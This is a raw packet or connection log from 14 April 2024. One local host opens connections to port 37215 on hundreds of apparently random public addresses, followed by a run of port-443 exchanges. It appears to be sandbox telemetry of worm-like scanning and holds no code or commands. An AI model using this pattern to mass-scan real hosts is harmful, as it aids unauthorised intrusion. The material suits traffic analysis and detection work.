Apr 14, 2024 03:59:53.063812017 CEST	5975	37215	192.168.2.23	156.85.90.162
Apr 14, 2024 03:59:53.063818932 CEST	5975	37215	192.168.2.23	41.87.59.44
Apr 14, 2024 03:59:53.063818932 CEST	5975	37215	192.168.2.23	41.18.3.2
Apr 14, 2024 03:59:53.063827991 CEST	5975	37215	192.168.2.23	197.164.34.51
Apr 14, 2024 03:59:53.063828945 CEST	5975	37215	192.168.2.23	156.227.13.85
Apr 14, 2024 03:59:53.063829899 CEST	5975	37215	192.168.2.23	41.114.51.106
Apr 14, 2024 03:59:53.063849926 CEST	5975	37215	192.168.2.23	197.22.211.129
Apr 14, 2024 03:59:53.063867092 CEST	5975	37215	192.168.2.23	41.193.235.161
Apr 14, 2024 03:59:53.063874960 CEST	5975	37215	192.168.2.23	197.224.20.96
Apr 14, 2024 03:59:53.063874960 CEST	5975	37215	192.168.2.23	41.132.229.234
Apr 14, 2024 03:59:53.063875914 CEST	5975	37215	192.168.2.23	41.98.234.209
Apr 14, 2024 03:59:53.063877106 CEST	5975	37215	192.168.2.23	41.70.138.17
Apr 14, 2024 03:59:53.063875914 CEST	5975	37215	192.168.2.23	41.240.142.227
Apr 14, 2024 03:59:53.063894987 CEST	5975	37215	192.168.2.23	41.52.104.131
Apr 14, 2024 03:59:53.063895941 CEST	5975	37215	192.168.2.23	156.149.244.208
Apr 14, 2024 03:59:53.063905954 CEST	5975	37215	192.168.2.23	41.102.172.28
Apr 14, 2024 03:59:53.063916922 CEST	5975	37215	192.168.2.23	156.213.128.4
Apr 14, 2024 03:59:53.063929081 CEST	5975	37215	192.168.2.23	156.133.149.90
Apr 14, 2024 03:59:53.063930035 CEST	5975	37215	192.168.2.23	156.155.162.17
Apr 14, 2024 03:59:53.063934088 CEST	5975	37215	192.168.2.23	197.141.213.176
Apr 14, 2024 03:59:53.063951969 CEST	5975	37215	192.168.2.23	197.212.130.183
Apr 14, 2024 03:59:53.063960075 CEST	5975	37215	192.168.2.23	41.8.38.106
Apr 14, 2024 03:59:53.063960075 CEST	5975	37215	192.168.2.23	197.192.252.207
Apr 14, 2024 03:59:53.063962936 CEST	5975	37215	192.168.2.23	41.246.255.179
Apr 14, 2024 03:59:53.063963890 CEST	5975	37215	192.168.2.23	41.151.26.6
Apr 14, 2024 03:59:53.063975096 CEST	5975	37215	192.168.2.23	156.192.150.36
Apr 14, 2024 03:59:53.063990116 CEST	5975	37215	192.168.2.23	41.116.63.167
Apr 14, 2024 03:59:53.063997030 CEST	5975	37215	192.168.2.23	197.45.11.81
Apr 14, 2024 03:59:53.063997984 CEST	5975	37215	192.168.2.23	197.144.255.242
Apr 14, 2024 03:59:53.063997030 CEST	5975	37215	192.168.2.23	197.167.142.70
Apr 14, 2024 03:59:53.064004898 CEST	5975	37215	192.168.2.23	156.5.134.196
Apr 14, 2024 03:59:53.064004898 CEST	5975	37215	192.168.2.23	41.183.197.241
Apr 14, 2024 03:59:53.064013004 CEST	5975	37215	192.168.2.23	197.80.85.255
Apr 14, 2024 03:59:53.064027071 CEST	5975	37215	192.168.2.23	197.70.198.15
Apr 14, 2024 03:59:53.064038992 CEST	5975	37215	192.168.2.23	41.203.186.215
Apr 14, 2024 03:59:53.064038992 CEST	5975	37215	192.168.2.23	197.162.201.93
Apr 14, 2024 03:59:53.064049006 CEST	5975	37215	192.168.2.23	41.237.250.202
Apr 14, 2024 03:59:53.064062119 CEST	5975	37215	192.168.2.23	197.206.73.101
Apr 14, 2024 03:59:53.064062119 CEST	5975	37215	192.168.2.23	197.70.195.142
Apr 14, 2024 03:59:53.064063072 CEST	5975	37215	192.168.2.23	197.36.187.247
Apr 14, 2024 03:59:53.064076900 CEST	5975	37215	192.168.2.23	41.56.238.165
Apr 14, 2024 03:59:53.064079046 CEST	5975	37215	192.168.2.23	156.130.91.242
Apr 14, 2024 03:59:53.064086914 CEST	5975	37215	192.168.2.23	156.155.205.194
Apr 14, 2024 03:59:53.064099073 CEST	5975	37215	192.168.2.23	197.243.251.183
Apr 14, 2024 03:59:53.064111948 CEST	5975	37215	192.168.2.23	197.169.210.170
Apr 14, 2024 03:59:53.064112902 CEST	5975	37215	192.168.2.23	41.36.108.212
Apr 14, 2024 03:59:53.064121008 CEST	5975	37215	192.168.2.23	41.44.120.237
Apr 14, 2024 03:59:53.064131975 CEST	5975	37215	192.168.2.23	197.133.236.31
Apr 14, 2024 03:59:53.064146996 CEST	5975	37215	192.168.2.23	197.91.34.183
Apr 14, 2024 03:59:53.064148903 CEST	5975	37215	192.168.2.23	156.107.52.209
Apr 14, 2024 03:59:53.064151049 CEST	5975	37215	192.168.2.23	156.212.57.83
Apr 14, 2024 03:59:53.064151049 CEST	5975	37215	192.168.2.23	156.1.161.244
Apr 14, 2024 03:59:53.064162016 CEST	5975	37215	192.168.2.23	197.190.148.5
Apr 14, 2024 03:59:53.064167976 CEST	5975	37215	192.168.2.23	197.249.245.155
Apr 14, 2024 03:59:53.064171076 CEST	5975	37215	192.168.2.23	156.94.145.114
Apr 14, 2024 03:59:53.064186096 CEST	5975	37215	192.168.2.23	156.222.66.8
Apr 14, 2024 03:59:53.064186096 CEST	5975	37215	192.168.2.23	156.86.28.215
Apr 14, 2024 03:59:53.064193964 CEST	5975	37215	192.168.2.23	156.111.58.152
Apr 14, 2024 03:59:53.064198971 CEST	5975	37215	192.168.2.23	156.111.160.197
Apr 14, 2024 03:59:53.064222097 CEST	5975	37215	192.168.2.23	197.185.214.170
Apr 14, 2024 03:59:53.064227104 CEST	5975	37215	192.168.2.23	41.54.236.192
Apr 14, 2024 03:59:53.064228058 CEST	5975	37215	192.168.2.23	156.15.109.234
Apr 14, 2024 03:59:53.064239979 CEST	5975	37215	192.168.2.23	197.206.115.114
Apr 14, 2024 03:59:53.064239979 CEST	5975	37215	192.168.2.23	197.64.151.163
Apr 14, 2024 03:59:53.064244032 CEST	5975	37215	192.168.2.23	41.180.154.119
Apr 14, 2024 03:59:53.064255953 CEST	5975	37215	192.168.2.23	156.43.247.173
Apr 14, 2024 03:59:53.064270973 CEST	5975	37215	192.168.2.23	156.234.255.60
Apr 14, 2024 03:59:53.064270973 CEST	5975	37215	192.168.2.23	197.194.144.77
Apr 14, 2024 03:59:53.064270973 CEST	5975	37215	192.168.2.23	156.208.197.3
Apr 14, 2024 03:59:53.064285994 CEST	5975	37215	192.168.2.23	41.215.6.123
Apr 14, 2024 03:59:53.064287901 CEST	5975	37215	192.168.2.23	156.33.153.132
Apr 14, 2024 03:59:53.064287901 CEST	5975	37215	192.168.2.23	41.82.176.50
Apr 14, 2024 03:59:53.064305067 CEST	5975	37215	192.168.2.23	156.63.82.52
Apr 14, 2024 03:59:53.064308882 CEST	5975	37215	192.168.2.23	156.55.72.100
Apr 14, 2024 03:59:53.064316034 CEST	5975	37215	192.168.2.23	41.40.19.232
Apr 14, 2024 03:59:53.064331055 CEST	5975	37215	192.168.2.23	197.67.132.31
Apr 14, 2024 03:59:53.064333916 CEST	5975	37215	192.168.2.23	41.241.118.246
Apr 14, 2024 03:59:53.064348936 CEST	5975	37215	192.168.2.23	197.147.48.167
Apr 14, 2024 03:59:53.064348936 CEST	5975	37215	192.168.2.23	197.168.135.246
Apr 14, 2024 03:59:53.064357042 CEST	5975	37215	192.168.2.23	41.253.76.14
Apr 14, 2024 03:59:53.064357996 CEST	5975	37215	192.168.2.23	156.57.118.142
Apr 14, 2024 03:59:53.064373016 CEST	5975	37215	192.168.2.23	197.58.137.235
Apr 14, 2024 03:59:53.064373970 CEST	5975	37215	192.168.2.23	41.50.254.143
Apr 14, 2024 03:59:53.064378977 CEST	5975	37215	192.168.2.23	156.39.243.198
Apr 14, 2024 03:59:53.064379930 CEST	5975	37215	192.168.2.23	41.20.197.25
Apr 14, 2024 03:59:53.064395905 CEST	5975	37215	192.168.2.23	197.54.5.72
Apr 14, 2024 03:59:53.064399004 CEST	5975	37215	192.168.2.23	197.37.78.133
Apr 14, 2024 03:59:53.064409971 CEST	5975	37215	192.168.2.23	41.69.42.162
Apr 14, 2024 03:59:53.064419031 CEST	5975	37215	192.168.2.23	156.15.255.112
Apr 14, 2024 03:59:53.064419031 CEST	5975	37215	192.168.2.23	156.89.253.29
Apr 14, 2024 03:59:53.064421892 CEST	5975	37215	192.168.2.23	197.74.70.89
Apr 14, 2024 03:59:53.064433098 CEST	5975	37215	192.168.2.23	41.117.27.165
Apr 14, 2024 03:59:53.064440966 CEST	5975	37215	192.168.2.23	156.13.43.57
Apr 14, 2024 03:59:53.064444065 CEST	5975	37215	192.168.2.23	156.26.241.97
Apr 14, 2024 03:59:53.064448118 CEST	5975	37215	192.168.2.23	156.201.114.133
Apr 14, 2024 03:59:53.064450979 CEST	5975	37215	192.168.2.23	156.180.131.161
Apr 14, 2024 03:59:53.064457893 CEST	5975	37215	192.168.2.23	41.178.129.58
Apr 14, 2024 03:59:53.064466953 CEST	5975	37215	192.168.2.23	41.2.178.74
Apr 14, 2024 03:59:53.064474106 CEST	5975	37215	192.168.2.23	197.46.72.12
Apr 14, 2024 03:59:53.064476013 CEST	5975	37215	192.168.2.23	41.251.140.42
Apr 14, 2024 03:59:53.064486027 CEST	5975	37215	192.168.2.23	41.225.93.69
Apr 14, 2024 03:59:53.064486027 CEST	5975	37215	192.168.2.23	197.60.202.91
Apr 14, 2024 03:59:53.064501047 CEST	5975	37215	192.168.2.23	41.93.83.17
Apr 14, 2024 03:59:53.064508915 CEST	5975	37215	192.168.2.23	156.192.202.109
Apr 14, 2024 03:59:53.064524889 CEST	5975	37215	192.168.2.23	197.78.237.230
Apr 14, 2024 03:59:53.064527035 CEST	5975	37215	192.168.2.23	41.162.97.234
Apr 14, 2024 03:59:53.064532042 CEST	5975	37215	192.168.2.23	197.241.10.73
Apr 14, 2024 03:59:53.064532042 CEST	5975	37215	192.168.2.23	41.218.232.85
Apr 14, 2024 03:59:53.064538002 CEST	5975	37215	192.168.2.23	156.56.226.163
Apr 14, 2024 03:59:53.064548969 CEST	5975	37215	192.168.2.23	156.51.178.186
Apr 14, 2024 03:59:53.064551115 CEST	5975	37215	192.168.2.23	41.180.163.188
Apr 14, 2024 03:59:53.064557076 CEST	5975	37215	192.168.2.23	41.207.108.255
Apr 14, 2024 03:59:53.064570904 CEST	5975	37215	192.168.2.23	41.217.202.130
Apr 14, 2024 03:59:53.064582109 CEST	5975	37215	192.168.2.23	156.50.21.146
Apr 14, 2024 03:59:53.064585924 CEST	5975	37215	192.168.2.23	197.176.234.75
Apr 14, 2024 03:59:53.064593077 CEST	5975	37215	192.168.2.23	41.232.72.86
Apr 14, 2024 03:59:53.064609051 CEST	5975	37215	192.168.2.23	197.227.154.251
Apr 14, 2024 03:59:53.064608097 CEST	5975	37215	192.168.2.23	41.1.110.189
Apr 14, 2024 03:59:53.064615011 CEST	5975	37215	192.168.2.23	41.104.125.20
Apr 14, 2024 03:59:53.064618111 CEST	5975	37215	192.168.2.23	41.196.52.159
Apr 14, 2024 03:59:53.064624071 CEST	5975	37215	192.168.2.23	156.16.48.155
Apr 14, 2024 03:59:53.064624071 CEST	5975	37215	192.168.2.23	41.36.99.151
Apr 14, 2024 03:59:53.064626932 CEST	5975	37215	192.168.2.23	156.150.17.172
Apr 14, 2024 03:59:53.064637899 CEST	5975	37215	192.168.2.23	156.100.152.232
Apr 14, 2024 03:59:53.064645052 CEST	5975	37215	192.168.2.23	41.53.230.122
Apr 14, 2024 03:59:53.064657927 CEST	5975	37215	192.168.2.23	197.160.60.55
Apr 14, 2024 03:59:53.064657927 CEST	5975	37215	192.168.2.23	156.63.40.165
Apr 14, 2024 03:59:53.064657927 CEST	5975	37215	192.168.2.23	197.235.57.244
Apr 14, 2024 03:59:53.064657927 CEST	5975	37215	192.168.2.23	41.37.107.158
Apr 14, 2024 03:59:53.064683914 CEST	5975	37215	192.168.2.23	156.83.59.16
Apr 14, 2024 03:59:53.064692020 CEST	5975	37215	192.168.2.23	41.184.152.95
Apr 14, 2024 03:59:53.064692020 CEST	5975	37215	192.168.2.23	197.251.198.16
Apr 14, 2024 03:59:53.064697027 CEST	5975	37215	192.168.2.23	197.18.9.69
Apr 14, 2024 03:59:53.064698935 CEST	5975	37215	192.168.2.23	197.69.242.1
Apr 14, 2024 03:59:53.064713955 CEST	5975	37215	192.168.2.23	41.113.116.123
Apr 14, 2024 03:59:53.064716101 CEST	5975	37215	192.168.2.23	41.213.138.169
Apr 14, 2024 03:59:53.064728022 CEST	5975	37215	192.168.2.23	156.12.148.19
Apr 14, 2024 03:59:53.064733028 CEST	5975	37215	192.168.2.23	197.227.4.249
Apr 14, 2024 03:59:53.064743042 CEST	5975	37215	192.168.2.23	156.255.108.82
Apr 14, 2024 03:59:53.064755917 CEST	5975	37215	192.168.2.23	41.42.65.27
Apr 14, 2024 03:59:53.064762115 CEST	5975	37215	192.168.2.23	41.173.205.237
Apr 14, 2024 03:59:53.064762115 CEST	5975	37215	192.168.2.23	156.183.216.147
Apr 14, 2024 03:59:53.064764023 CEST	5975	37215	192.168.2.23	156.196.139.23
Apr 14, 2024 03:59:53.064776897 CEST	5975	37215	192.168.2.23	197.229.228.21
Apr 14, 2024 03:59:53.064778090 CEST	5975	37215	192.168.2.23	156.113.165.193
Apr 14, 2024 03:59:53.064781904 CEST	5975	37215	192.168.2.23	41.126.58.115
Apr 14, 2024 03:59:53.064790964 CEST	5975	37215	192.168.2.23	156.225.88.185
Apr 14, 2024 03:59:53.064795971 CEST	5975	37215	192.168.2.23	41.8.95.176
Apr 14, 2024 03:59:53.064805984 CEST	5975	37215	192.168.2.23	156.225.220.110
Apr 14, 2024 03:59:53.064811945 CEST	5975	37215	192.168.2.23	41.131.222.44
Apr 14, 2024 03:59:53.064816952 CEST	5975	37215	192.168.2.23	41.20.141.9
Apr 14, 2024 03:59:53.064816952 CEST	5975	37215	192.168.2.23	41.90.67.50
Apr 14, 2024 03:59:53.064826965 CEST	5975	37215	192.168.2.23	156.149.116.116
Apr 14, 2024 03:59:53.064851046 CEST	5975	37215	192.168.2.23	156.41.243.211
Apr 14, 2024 03:59:53.064863920 CEST	5975	37215	192.168.2.23	156.52.216.88
Apr 14, 2024 03:59:53.064870119 CEST	5975	37215	192.168.2.23	156.214.227.126
Apr 14, 2024 03:59:53.064870119 CEST	5975	37215	192.168.2.23	41.242.81.8
Apr 14, 2024 03:59:53.064872026 CEST	5975	37215	192.168.2.23	156.48.231.205
Apr 14, 2024 03:59:53.064874887 CEST	5975	37215	192.168.2.23	156.81.188.244
Apr 14, 2024 03:59:53.064892054 CEST	5975	37215	192.168.2.23	156.28.30.92
Apr 14, 2024 03:59:53.064907074 CEST	5975	37215	192.168.2.23	41.214.102.217
Apr 14, 2024 03:59:53.064917088 CEST	5975	37215	192.168.2.23	156.60.145.23
Apr 14, 2024 03:59:53.064924002 CEST	5975	37215	192.168.2.23	156.253.75.10
Apr 14, 2024 03:59:53.064924002 CEST	5975	37215	192.168.2.23	156.180.27.196
Apr 14, 2024 03:59:53.064924955 CEST	5975	37215	192.168.2.23	41.5.10.232
Apr 14, 2024 03:59:53.064924955 CEST	5975	37215	192.168.2.23	156.61.187.87
Apr 14, 2024 03:59:53.064934015 CEST	5975	37215	192.168.2.23	197.112.35.78
Apr 14, 2024 03:59:53.064944983 CEST	5975	37215	192.168.2.23	197.206.195.98
Apr 14, 2024 03:59:53.064944983 CEST	5975	37215	192.168.2.23	41.61.84.239
Apr 14, 2024 03:59:53.064955950 CEST	5975	37215	192.168.2.23	41.89.95.20
Apr 14, 2024 03:59:53.064955950 CEST	5975	37215	192.168.2.23	41.85.42.35
Apr 14, 2024 03:59:53.064965963 CEST	5975	37215	192.168.2.23	156.210.106.179
Apr 14, 2024 03:59:53.064965963 CEST	5975	37215	192.168.2.23	41.205.38.73
Apr 14, 2024 03:59:53.064966917 CEST	5975	37215	192.168.2.23	41.148.208.99
Apr 14, 2024 03:59:53.064980030 CEST	5975	37215	192.168.2.23	197.213.13.186
Apr 14, 2024 03:59:53.064981937 CEST	5975	37215	192.168.2.23	197.80.14.131
Apr 14, 2024 03:59:53.064991951 CEST	5975	37215	192.168.2.23	156.221.173.94
Apr 14, 2024 03:59:53.065006971 CEST	5975	37215	192.168.2.23	156.218.155.41
Apr 14, 2024 03:59:53.065006971 CEST	5975	37215	192.168.2.23	156.104.182.42
Apr 14, 2024 03:59:53.065010071 CEST	5975	37215	192.168.2.23	41.70.150.237
Apr 14, 2024 03:59:53.065015078 CEST	5975	37215	192.168.2.23	197.64.99.109
Apr 14, 2024 03:59:53.065027952 CEST	5975	37215	192.168.2.23	197.64.14.118
Apr 14, 2024 03:59:53.065037012 CEST	5975	37215	192.168.2.23	156.96.2.73
Apr 14, 2024 03:59:53.065037012 CEST	5975	37215	192.168.2.23	156.128.27.126
Apr 14, 2024 03:59:53.065043926 CEST	5975	37215	192.168.2.23	197.238.228.104
Apr 14, 2024 03:59:53.065056086 CEST	5975	37215	192.168.2.23	41.228.6.80
Apr 14, 2024 03:59:53.065062046 CEST	5975	37215	192.168.2.23	197.87.223.220
Apr 14, 2024 03:59:53.065072060 CEST	5975	37215	192.168.2.23	156.174.88.109
Apr 14, 2024 03:59:53.065072060 CEST	5975	37215	192.168.2.23	156.114.25.212
Apr 14, 2024 03:59:53.065078020 CEST	5975	37215	192.168.2.23	41.180.14.29
Apr 14, 2024 03:59:53.065090895 CEST	5975	37215	192.168.2.23	197.100.33.66
Apr 14, 2024 03:59:53.065092087 CEST	5975	37215	192.168.2.23	197.121.126.156
Apr 14, 2024 03:59:53.065115929 CEST	5975	37215	192.168.2.23	197.66.100.16
Apr 14, 2024 03:59:53.065116882 CEST	5975	37215	192.168.2.23	41.13.253.96
Apr 14, 2024 03:59:53.065119028 CEST	5975	37215	192.168.2.23	156.217.189.219
Apr 14, 2024 03:59:53.065119028 CEST	5975	37215	192.168.2.23	197.180.250.68
Apr 14, 2024 03:59:53.065131903 CEST	5975	37215	192.168.2.23	197.183.239.240
Apr 14, 2024 03:59:53.065139055 CEST	5975	37215	192.168.2.23	41.56.121.52
Apr 14, 2024 03:59:53.065139055 CEST	5975	37215	192.168.2.23	41.240.11.114
Apr 14, 2024 03:59:53.065145016 CEST	5975	37215	192.168.2.23	156.157.28.77
Apr 14, 2024 03:59:53.065155029 CEST	5975	37215	192.168.2.23	41.214.66.192
Apr 14, 2024 03:59:53.065156937 CEST	5975	37215	192.168.2.23	156.50.102.1
Apr 14, 2024 03:59:53.065172911 CEST	5975	37215	192.168.2.23	156.66.91.163
Apr 14, 2024 03:59:53.065196037 CEST	5975	37215	192.168.2.23	41.196.157.225
Apr 14, 2024 03:59:53.065198898 CEST	5975	37215	192.168.2.23	41.86.72.223
Apr 14, 2024 03:59:53.065212011 CEST	5975	37215	192.168.2.23	197.99.83.71
Apr 14, 2024 03:59:53.065215111 CEST	5975	37215	192.168.2.23	41.19.129.45
Apr 14, 2024 03:59:53.065216064 CEST	5975	37215	192.168.2.23	41.244.233.116
Apr 14, 2024 03:59:53.065218925 CEST	5975	37215	192.168.2.23	156.78.212.32
Apr 14, 2024 03:59:53.065221071 CEST	5975	37215	192.168.2.23	156.119.22.161
Apr 14, 2024 03:59:53.065224886 CEST	5975	37215	192.168.2.23	197.24.15.144
Apr 14, 2024 03:59:53.065233946 CEST	5975	37215	192.168.2.23	197.186.198.117
Apr 14, 2024 03:59:53.065248013 CEST	5975	37215	192.168.2.23	197.52.155.113
Apr 14, 2024 03:59:53.065254927 CEST	5975	37215	192.168.2.23	197.66.235.211
Apr 14, 2024 03:59:53.065258026 CEST	5975	37215	192.168.2.23	197.230.66.222
Apr 14, 2024 03:59:53.065272093 CEST	5975	37215	192.168.2.23	156.23.182.107
Apr 14, 2024 03:59:53.065284967 CEST	5975	37215	192.168.2.23	156.114.156.96
Apr 14, 2024 03:59:53.065287113 CEST	5975	37215	192.168.2.23	41.207.19.8
Apr 14, 2024 03:59:53.065290928 CEST	5975	37215	192.168.2.23	156.125.31.146
Apr 14, 2024 03:59:53.065290928 CEST	5975	37215	192.168.2.23	197.69.175.49
Apr 14, 2024 03:59:53.065298080 CEST	5975	37215	192.168.2.23	197.227.129.51
Apr 14, 2024 03:59:53.065304041 CEST	5975	37215	192.168.2.23	41.99.105.116
Apr 14, 2024 03:59:53.065304041 CEST	5975	37215	192.168.2.23	197.249.114.157
Apr 14, 2024 03:59:53.065321922 CEST	5975	37215	192.168.2.23	41.247.152.144
Apr 14, 2024 03:59:53.065321922 CEST	5975	37215	192.168.2.23	156.164.232.221
Apr 14, 2024 03:59:53.065325022 CEST	5975	37215	192.168.2.23	41.50.36.77
Apr 14, 2024 03:59:53.065332890 CEST	5975	37215	192.168.2.23	197.177.55.70
Apr 14, 2024 03:59:53.065356016 CEST	5975	37215	192.168.2.23	41.247.190.50
Apr 14, 2024 03:59:53.065356970 CEST	5975	37215	192.168.2.23	41.74.119.132
Apr 14, 2024 03:59:53.065359116 CEST	5975	37215	192.168.2.23	41.122.28.46
Apr 14, 2024 03:59:53.065359116 CEST	5975	37215	192.168.2.23	156.7.43.242
Apr 14, 2024 03:59:53.065368891 CEST	5975	37215	192.168.2.23	197.21.172.249
Apr 14, 2024 03:59:53.065371990 CEST	5975	37215	192.168.2.23	197.46.228.38
Apr 14, 2024 03:59:53.065376997 CEST	5975	37215	192.168.2.23	156.105.175.76
Apr 14, 2024 03:59:53.065385103 CEST	5975	37215	192.168.2.23	156.68.204.77
Apr 14, 2024 03:59:53.065387011 CEST	5975	37215	192.168.2.23	156.169.19.159
Apr 14, 2024 03:59:53.065412045 CEST	5975	37215	192.168.2.23	156.74.106.130
Apr 14, 2024 03:59:53.065413952 CEST	5975	37215	192.168.2.23	156.183.117.224
Apr 14, 2024 03:59:53.065423012 CEST	5975	37215	192.168.2.23	41.231.19.156
Apr 14, 2024 03:59:53.065438986 CEST	5975	37215	192.168.2.23	41.227.19.185
Apr 14, 2024 03:59:53.065440893 CEST	5975	37215	192.168.2.23	197.145.77.220
Apr 14, 2024 03:59:53.065448999 CEST	5975	37215	192.168.2.23	156.216.181.129
Apr 14, 2024 03:59:53.065459967 CEST	5975	37215	192.168.2.23	156.10.127.210
Apr 14, 2024 03:59:53.065485001 CEST	5975	37215	192.168.2.23	197.167.178.125
Apr 14, 2024 03:59:53.065499067 CEST	5975	37215	192.168.2.23	156.206.103.206
Apr 14, 2024 03:59:53.065499067 CEST	5975	37215	192.168.2.23	197.102.114.24
Apr 14, 2024 03:59:53.065499067 CEST	5975	37215	192.168.2.23	197.174.65.8
Apr 14, 2024 03:59:53.065504074 CEST	5975	37215	192.168.2.23	197.239.120.119
Apr 14, 2024 03:59:53.065505028 CEST	5975	37215	192.168.2.23	197.146.2.160
Apr 14, 2024 03:59:53.065504074 CEST	5975	37215	192.168.2.23	156.116.247.180
Apr 14, 2024 03:59:53.065505028 CEST	5975	37215	192.168.2.23	41.46.151.142
Apr 14, 2024 03:59:53.065505028 CEST	5975	37215	192.168.2.23	197.168.100.115
Apr 14, 2024 03:59:53.065505028 CEST	5975	37215	192.168.2.23	156.239.5.86
Apr 14, 2024 03:59:53.065509081 CEST	5975	37215	192.168.2.23	197.145.140.140
Apr 14, 2024 03:59:53.065515995 CEST	5975	37215	192.168.2.23	197.143.174.88
Apr 14, 2024 03:59:53.065515995 CEST	5975	37215	192.168.2.23	197.143.150.157
Apr 14, 2024 03:59:53.065515995 CEST	5975	37215	192.168.2.23	197.86.167.82
Apr 14, 2024 03:59:53.065535069 CEST	5975	37215	192.168.2.23	197.231.86.175
Apr 14, 2024 03:59:53.065538883 CEST	5975	37215	192.168.2.23	197.211.169.81
Apr 14, 2024 03:59:53.065540075 CEST	5975	37215	192.168.2.23	41.74.210.91
Apr 14, 2024 03:59:53.065553904 CEST	5975	37215	192.168.2.23	156.88.40.244
Apr 14, 2024 03:59:53.065566063 CEST	5975	37215	192.168.2.23	197.138.71.120
Apr 14, 2024 03:59:53.065568924 CEST	5975	37215	192.168.2.23	156.9.252.60
Apr 14, 2024 03:59:53.065578938 CEST	5975	37215	192.168.2.23	41.120.46.94
Apr 14, 2024 03:59:53.065581083 CEST	5975	37215	192.168.2.23	41.233.123.8
Apr 14, 2024 03:59:53.065593004 CEST	5975	37215	192.168.2.23	197.79.5.175
Apr 14, 2024 03:59:53.065597057 CEST	5975	37215	192.168.2.23	156.243.120.253
Apr 14, 2024 03:59:53.065599918 CEST	5975	37215	192.168.2.23	197.39.118.98
Apr 14, 2024 03:59:53.065599918 CEST	5975	37215	192.168.2.23	41.248.222.48
Apr 14, 2024 03:59:53.065618038 CEST	5975	37215	192.168.2.23	41.112.248.176
Apr 14, 2024 03:59:53.065620899 CEST	5975	37215	192.168.2.23	41.165.31.139
Apr 14, 2024 03:59:53.065629005 CEST	5975	37215	192.168.2.23	197.67.246.105
Apr 14, 2024 03:59:53.065633059 CEST	5975	37215	192.168.2.23	41.75.45.118
Apr 14, 2024 03:59:53.065634966 CEST	5975	37215	192.168.2.23	197.248.23.219
Apr 14, 2024 03:59:53.065665960 CEST	5975	37215	192.168.2.23	41.201.41.141
Apr 14, 2024 03:59:53.065677881 CEST	5975	37215	192.168.2.23	41.197.148.166
Apr 14, 2024 03:59:53.065680027 CEST	5975	37215	192.168.2.23	156.32.114.1
Apr 14, 2024 03:59:53.065697908 CEST	5975	37215	192.168.2.23	41.164.224.230
Apr 14, 2024 03:59:53.065697908 CEST	5975	37215	192.168.2.23	41.136.201.177
Apr 14, 2024 03:59:53.065701962 CEST	5975	37215	192.168.2.23	197.135.190.76
Apr 14, 2024 03:59:53.065712929 CEST	5975	37215	192.168.2.23	197.25.23.168
Apr 14, 2024 03:59:53.065721035 CEST	5975	37215	192.168.2.23	197.198.57.149
Apr 14, 2024 03:59:53.065721035 CEST	5975	37215	192.168.2.23	156.137.68.219
Apr 14, 2024 03:59:53.065721035 CEST	5975	37215	192.168.2.23	197.142.147.74
Apr 14, 2024 03:59:53.065721035 CEST	5975	37215	192.168.2.23	41.146.238.248
Apr 14, 2024 03:59:53.065727949 CEST	5975	37215	192.168.2.23	197.85.234.195
Apr 14, 2024 03:59:53.065730095 CEST	5975	37215	192.168.2.23	197.99.67.197
Apr 14, 2024 03:59:53.065732956 CEST	5975	37215	192.168.2.23	156.111.45.162
Apr 14, 2024 03:59:53.065743923 CEST	5975	37215	192.168.2.23	41.220.240.166
Apr 14, 2024 03:59:53.065747976 CEST	5975	37215	192.168.2.23	197.68.62.3
Apr 14, 2024 03:59:53.065747976 CEST	5975	37215	192.168.2.23	156.57.186.213
Apr 14, 2024 03:59:53.100882053 CEST	57766	443	192.168.2.23	2.141.207.60
Apr 14, 2024 03:59:53.100938082 CEST	443	57766	2.141.207.60	192.168.2.23
Apr 14, 2024 03:59:53.100980997 CEST	40448	443	192.168.2.23	2.93.137.77
Apr 14, 2024 03:59:53.100989103 CEST	443	40448	2.93.137.77	192.168.2.23
Apr 14, 2024 03:59:53.101272106 CEST	40448	443	192.168.2.23	2.93.137.77
Apr 14, 2024 03:59:53.101300001 CEST	57766	443	192.168.2.23	2.141.207.60
Apr 14, 2024 03:59:53.101350069 CEST	2135	443	192.168.2.23	210.250.108.135
Apr 14, 2024 03:59:53.101352930 CEST	2135	443	192.168.2.23	118.134.119.63
Apr 14, 2024 03:59:53.101356030 CEST	2135	443	192.168.2.23	109.136.254.149
Apr 14, 2024 03:59:53.101380110 CEST	2135	443	192.168.2.23	202.126.243.220
Apr 14, 2024 03:59:53.101387024 CEST	2135	443	192.168.2.23	117.127.56.65
Apr 14, 2024 03:59:53.101399899 CEST	443	2135	117.127.56.65	192.168.2.23
Apr 14, 2024 03:59:53.101404905 CEST	443	2135	202.126.243.220	192.168.2.23
Apr 14, 2024 03:59:53.101406097 CEST	443	2135	109.136.254.149	192.168.2.23
Apr 14, 2024 03:59:53.101408958 CEST	2135	443	192.168.2.23	94.9.26.55
Apr 14, 2024 03:59:53.101416111 CEST	443	2135	94.9.26.55	192.168.2.23
Apr 14, 2024 03:59:53.101419926 CEST	2135	443	192.168.2.23	123.93.240.99
Apr 14, 2024 03:59:53.101419926 CEST	443	2135	210.250.108.135	192.168.2.23
Apr 14, 2024 03:59:53.101422071 CEST	2135	443	192.168.2.23	5.67.254.89
Apr 14, 2024 03:59:53.101432085 CEST	443	2135	123.93.240.99	192.168.2.23
Apr 14, 2024 03:59:53.101434946 CEST	443	2135	5.67.254.89	192.168.2.23
Apr 14, 2024 03:59:53.101437092 CEST	443	2135	118.134.119.63	192.168.2.23
Apr 14, 2024 03:59:53.101448059 CEST	2135	443	192.168.2.23	117.127.56.65
Apr 14, 2024 03:59:53.101453066 CEST	2135	443	192.168.2.23	42.200.245.2
Apr 14, 2024 03:59:53.101454020 CEST	2135	443	192.168.2.23	202.126.243.220
Apr 14, 2024 03:59:53.101459980 CEST	443	2135	42.200.245.2	192.168.2.23
Apr 14, 2024 03:59:53.101464033 CEST	2135	443	192.168.2.23	148.189.200.163
Apr 14, 2024 03:59:53.101465940 CEST	2135	443	192.168.2.23	94.9.26.55
Apr 14, 2024 03:59:53.101474047 CEST	443	2135	148.189.200.163	192.168.2.23
Apr 14, 2024 03:59:53.101475000 CEST	2135	443	192.168.2.23	109.136.254.149
Apr 14, 2024 03:59:53.101475000 CEST	2135	443	192.168.2.23	5.67.254.89
Apr 14, 2024 03:59:53.101475954 CEST	2135	443	192.168.2.23	123.93.240.99
Apr 14, 2024 03:59:53.101475954 CEST	2135	443	192.168.2.23	118.134.119.63
Apr 14, 2024 03:59:53.101490021 CEST	2135	443	192.168.2.23	210.250.108.135
Apr 14, 2024 03:59:53.101491928 CEST	2135	443	192.168.2.23	178.145.247.109
